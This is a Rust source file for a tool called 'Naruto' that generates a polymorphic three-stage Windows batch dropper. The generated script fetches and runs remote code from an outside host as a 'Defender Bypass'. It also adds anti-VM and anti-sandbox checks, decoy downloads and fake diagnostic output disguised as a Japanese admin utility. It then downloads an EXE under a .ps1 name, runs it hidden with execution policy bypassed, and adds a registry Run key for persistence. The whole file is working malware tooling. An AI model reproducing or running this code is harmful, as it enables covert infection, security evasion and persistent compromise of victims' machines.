// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // User provides: PS1 download link, final batch name, output .ps1 name
// // All temp/var names randomized, batch logic randomized, anti-VM checks

use rand::prelude::*;
use anyhow::Result;
use colored::*;
use rand::{rng, seq::SliceRandom, Rng};
use std::io::{self, Write as IoWrite};
use tokio::fs::File as TokioFile;
use tokio::io::AsyncWriteExt;

// // Prints a welcome message for the Naruto 3-stage poly-morphic dropper
pub fn print_welcome_naruto() {
    println!(r#"
======================== WELCOME TO NARUTO ========================

                ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣴⣶⣶⣶⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                ⠀⠀⠀⠀⠀⠀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠀⠀⠀⠀⠀
                ⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⠏⠁⠀⢶⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀
                ⠀ ⢀⣾⣿⣿⣿⣿⣿⣿⡿⠿⣿⡇⠀⠀⠀⣿⠿⢿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀
                ⠀⢠⣾⣿⣿⣿⣿⣿⡿⠋⣠⣴⣿⣷⣤⣤⣾⣿⣦⣄⠙⢿⣿⣿⣿⣿⣿⣷⡄⠀
                ⠀⣼⣿⣿⣿⣿⣿⡏⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⢹⣿⣿⣿⣿⣿⣧⠀
                ⢰⣿⣿⣿⣿⣿⡿⠀⣾⣿⣿⣿⣿⠟⠉⠉⠻⣿⣿⣿⣿⣷⠀⢿⣿⣿⣿⣿⣿⡆
                ⢸⣿⣿⣿⣿⣿⣇⣰⣿⣿⣿⣿⡇⠀⠀⠀⠀⢸⣿⣿⣿⣿⣆⣸⣿⣿⣿⣿⣿⡇
                ⠸⣿⣿⣿⡿⣿⠟⠋⠙⠻⣿⣿⣿⣦⣀⣀⣴⣿⣿⣿⣿⠛⠙⠻⣿⣿⣿⣿⣿⠇
                ⠀⢻⣿⣿⣧⠉⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠈⣿⣿⣿⡟⠀
                ⠀⠘⢿⣿⣿⣷⣦⣤⣴⣾⠛⠻⢿⣿⣿⣿⣿⡿⠟⠋⣿⣦⣤⠀⣰⣿⣿⡿⠃⠀
                ⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣈⣁⣠⣤⣶⣾⣿⣿⣷⣾⣿⣿⡿⠁⠀⠀
                ⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀
                ⠀⠀⠀⠀⠀⠀⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀
                ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⠿⠿⠿⠿⠟⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀

  Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper Generator
------------------------------------------------------------------
  - Prompts for: Powershell payload download URL, output names
  - Generates a highly randomized batch dropper
  - All variable, file, registry names are randomized per build
  - Drops multi-stage .bat with anti-VM/anti-sandbox tricks
  - Final stage ensures persistence via HKCU registry
  - Decoy files and diagnostic noise included for stealth
  - 100% open source and ready for advanced red-team ops

==================================================================
"#);
}
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // - User provides: PS1 download link, final batch name, output .ps1 name
// // - All temp/var names randomized, batch logic randomized, anti-VM checks


/// // List of random banner phrases for added entropy
const BANNERS: &[&str] = &[
    "診断ユーティリティを実行中...",
    "ネットワーク診断開始...",
    "管理者用システムテスト...",
    "環境チェック実行中...",
    "お待ちください。検証中...",
];

/// // Decoy files for download/cover noise
const DECOY_FILES: &[&str] = &[
    "readme.txt", "patchnote.docx", "system_log.csv", "scaninfo.html", "update.pdf",
    "changelog.rtf", "debug.ini", "license.txt", "upgrade.bin", "notes.xml",
];



/// // Generate a random batch/var/filename, e.g. DIAG_AbX_7381
fn rand_var_name(base: &str) -> String {
    let mut rng = rng();
    let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
    let mut name = base.to_string();
    for _ in 0..3 { name.push(*charset.choose(&mut rng).unwrap()); }
    name.push('_');
    name.push_str(&rng.random_range(1000..9999).to_string());
    name
}

/// // Shuffles and emits randomized diagnostic steps (adds noise)
fn shuffled_diag_steps() -> Vec<String> {
    let steps = vec![
        "netsh winsock show catalog ^>nul",
        "fsutil behavior query DisableDeleteNotify ^>nul",
        "dcomcnfg /32 ^>nul",
        "wevtutil qe Security \"/q:*[System[(EventID=4624)]]\" /f:text /c:1 ^>nul",
        "netstat -bno ^>nul",
        "route print ^>nul",
        "sc queryex type= service ^>nul",
        "wmic logicaldisk get caption,filesystem,freespace,size ^>nul",
        "wmic cpu get loadpercentage ^>nul",
        "systeminfo | findstr /C:\"Available Physical Memory\" ^>nul",
        "reg query HKLM\\SOFTWARE ^>nul",
    ];
    let mut steps_mut = steps.clone();
    let mut rng = rng();
    steps_mut.shuffle(&mut rng);
    steps_mut
        .into_iter()
        .enumerate()
        .map(|(i, line)| format!("echo [INFO] Step {}...\n{}\ncall :SleepS 1", i+1, line))
        .collect()
}

/// // Pick a random banner for the batch
fn rand_banner() -> &'static str {
    let mut rng = rng();
    BANNERS.choose(&mut rng).unwrap_or(&BANNERS[0])
}

/// // Shuffle decoy filenames for the decoy download section
fn shuffled_decoys() -> Vec<String> {
    let mut rng = rng();
    let mut files = DECOY_FILES.to_vec();
    files.shuffle(&mut rng);
    files.into_iter().map(|f| f.to_string()).collect()
}

/// // Anti-VM/Sandbox check, batch version, with randomized variable names
fn build_anti_vm_batch(rand_vars: &[&str]) -> String {
    format!(r#"
REM Anti-VM/Sandbox (basic)
set "{uptime}=0"
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
set "{uptime}=%{uptime}:~0,8%"
REM Pause if booted < 3 min ago
for /f %%A in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{boot}=%%A"
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
set /a "{boot_time}=!{now}! - !{uptime}!"
if !{boot_time}! lss 3000000 (
    echo [*] Recent boot detected. Pausing.
    call :SleepS 60
)
REM RAM check (<=2048 MB is suspicious)
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
set /a "{ram_mb}=(!{ram}!)/1048576"
if !{ram_mb}! lss 2048 (
    echo [*] Low RAM detected. Pausing.
    call :SleepS 120
)
REM Check VM drivers
set "{vmfound}=0"
for %%X in (VBOX VMWARE QEMU VIRTUAL) do (
    driverquery | findstr /I %%X >nul
    if not errorlevel 1 set "{vmfound}=1"
)
"#,
        uptime=rand_vars[0],
        boot=rand_vars[1],
        now=rand_vars[2],
        boot_time=rand_vars[3],
        ram=rand_vars[4],
        ram_mb=rand_vars[5],
        vmfound=rand_vars[6],
    )
}

/// // == Stage 3 (PERSIST) ==
fn build_stage3(ps1_name: &str, rand_vars: &[String]) -> String {
    format!(r#"
@echo off
REM Stage 3: Run dropped EXE (PowerShell payload) as .ps1 and set persistence
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Run payload saved as .ps1 (actually an EXE)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "{reg}" /t REG_SZ /d "start \"\" /MIN \"%%~dp0{ps1_name}\"" /f
REM Cleanup
exit
"#,
        ps1_name=ps1_name,
        reg=rand_vars[0],
        antivm=build_anti_vm_batch(&[&rand_vars[1], &rand_vars[2], &rand_vars[3], &rand_vars[4], &rand_vars[5], &rand_vars[6], &rand_vars[7]]),
    )
}

/// // == Stage 2 ==
fn build_stage2(
    url_exe: &str,
    ps1_name: &str,
    stage3_name: &str,
    rand_vars: &[String],
) -> String {
    let stage3_content = build_stage3(ps1_name, rand_vars);
    let mut tpl = format!(r#"
@echo off
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Download EXE payload and save as .ps1
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try {{ Invoke-WebRequest -Uri '{url_exe}' -OutFile '{ps1_name}' -UseBasicParsing }} catch {{ Start-BitsTransfer -Source '{url_exe}' -Destination '{ps1_name}' }}" >nul 2>&1
REM Write Stage 3
set "{stage3}=%~dp0{stage3_name}"
("#,
        url_exe = url_exe,
        ps1_name = ps1_name,
        stage3_name = stage3_name,
        stage3 = rand_vars[8],
        antivm = build_anti_vm_batch(&[
            &rand_vars[9], &rand_vars[10], &rand_vars[11],
            &rand_vars[12], &rand_vars[13], &rand_vars[14], &rand_vars[15]
        ]),
    );
    for line in stage3_content.lines() {
        tpl.push_str(&format!("    echo {} \n", line.replace("%", "%%")));
    }
    tpl.push_str(&format!(
        r#") > "%{}%"
REM Run Stage 3
call "%{}%"
REM Cleanup
exit
"#,
        rand_vars[8], rand_vars[8]
    ));
    tpl
}

/// // == Stage 1 ==
fn build_stage1(
    url_exe: &str,
    decoy_urls: &[&str],
    ps1_name: &str,
    stage2_name: &str,
    stage3_name: &str,
    rand_vars: &[String],
) -> String {
    let batch_var = rand_var_name("DIAG");
    let random_sleep_lo = rng().random_range(1..4);
    let random_sleep_hi = rng().random_range(4..8);
    let banner = rand_banner();
    let mut tpl = format!(r#"@echo off
setlocal enabledelayedexpansion
REM Defender Bypass
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
:SleepS
ping -n %1 127.0.0.1 ^>nul
goto :eof
:SleepMS
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
goto :eof
title [管理者診断ユーティリティ - {banner}]
color 0A
set "{batch_var}_init=1"
echo =====================================================
echo           管理者用ネットワーク／システム診断ユーティリティ
echo =====================================================
echo [+] {banner}
call :SleepS {random_sleep_lo}
"#,
        banner = banner,
        batch_var = batch_var,
        random_sleep_lo = random_sleep_lo,
    );
    tpl.push_str(&build_anti_vm_batch(&[
        &rand_vars[16], &rand_vars[17], &rand_vars[18],
        &rand_vars[19], &rand_vars[20], &rand_vars[21], &rand_vars[22]
    ]));
    for line in shuffled_diag_steps() {
        tpl.push_str(&format!("{}\n", line));
    }
    tpl.push_str(&format!("set /a mainDelay=(%RANDOM% %% {random_sleep_hi}) + {random_sleep_lo}\necho [INFO] ステージ準備... (%mainDelay% 秒後)\ncall :SleepS %mainDelay%\n\n",
        random_sleep_hi = random_sleep_hi,
        random_sleep_lo = random_sleep_lo,
    ));
    let decoys = shuffled_decoys();
    for (i, decoy_name) in decoys.iter().enumerate().take(decoy_urls.len()) {
        let url = decoy_urls[i];
        tpl.push_str(&format!(
            "echo [*] Downloading decoy: {decoy_name}\npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ Invoke-WebRequest -Uri '{url}' -OutFile '{decoy_name}' -UseBasicParsing }} catch {{}}\" ^>nul\ncall :SleepS 2\n",
            url = url, decoy_name = decoy_name
        ));
    }
    let stage2_content = build_stage2(url_exe, ps1_name, stage3_name, rand_vars);
    tpl.push_str(&format!("set \"{stage2}=%~dp0{stage2_name}\"\n(", stage2 = rand_vars[23], stage2_name = stage2_name));
    for line in stage2_content.lines() {
        tpl.push_str(&format!("    echo {} \n", line.replace("%", "%%")));
    }
    tpl.push_str(&format!(
        ") > \"%{}%\"\nREM Run Stage 2\ncall \"%{}%\"\nREM Cleanup\nexit\n",
        rand_vars[23], rand_vars[23]
    ));
    tpl
}

/// // Prompt user, fallback to default if empty input
fn prompt(msg: &str, default: Option<&str>) -> String {
    let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
    print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
    io::stdout().flush().unwrap();
    let mut input = String::new();
    io::stdin().read_line(&mut input).unwrap();
    let value = input.trim();
    if value.is_empty() {
        default.unwrap_or("").to_string()
    } else {
        value.to_string()
    }
}

/// // == RouterSploit-style async entry point ==
pub async fn run(_target: &str) -> Result<()> {
    print_welcome_naruto();
    let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
    let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
    let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
    let stage2_name = rand_var_name("stg2");
    let stage3_name = rand_var_name("stg3");
    let rand_vars: Vec<String> = (0..24).map(|i| rand_var_name(&format!("v{}", i))).collect();
    let decoy_urls = vec![
        "https://www.example.com/readme.txt",
        "https://www.example.com/license.txt",
        "https://www.example.com/update.pdf",
    ];
    let script = build_stage1(&url_exe, &decoy_urls, &ps1_name, &stage2_name, &stage3_name, &rand_vars);
    let mut file = TokioFile::create(&out_name).await?;
    file.write_all(script.as_bytes()).await?;
    file.flush().await?;
    println!("[+] 3-stage chain-linked dropper written to: {}", out_name);
    Ok(())
}
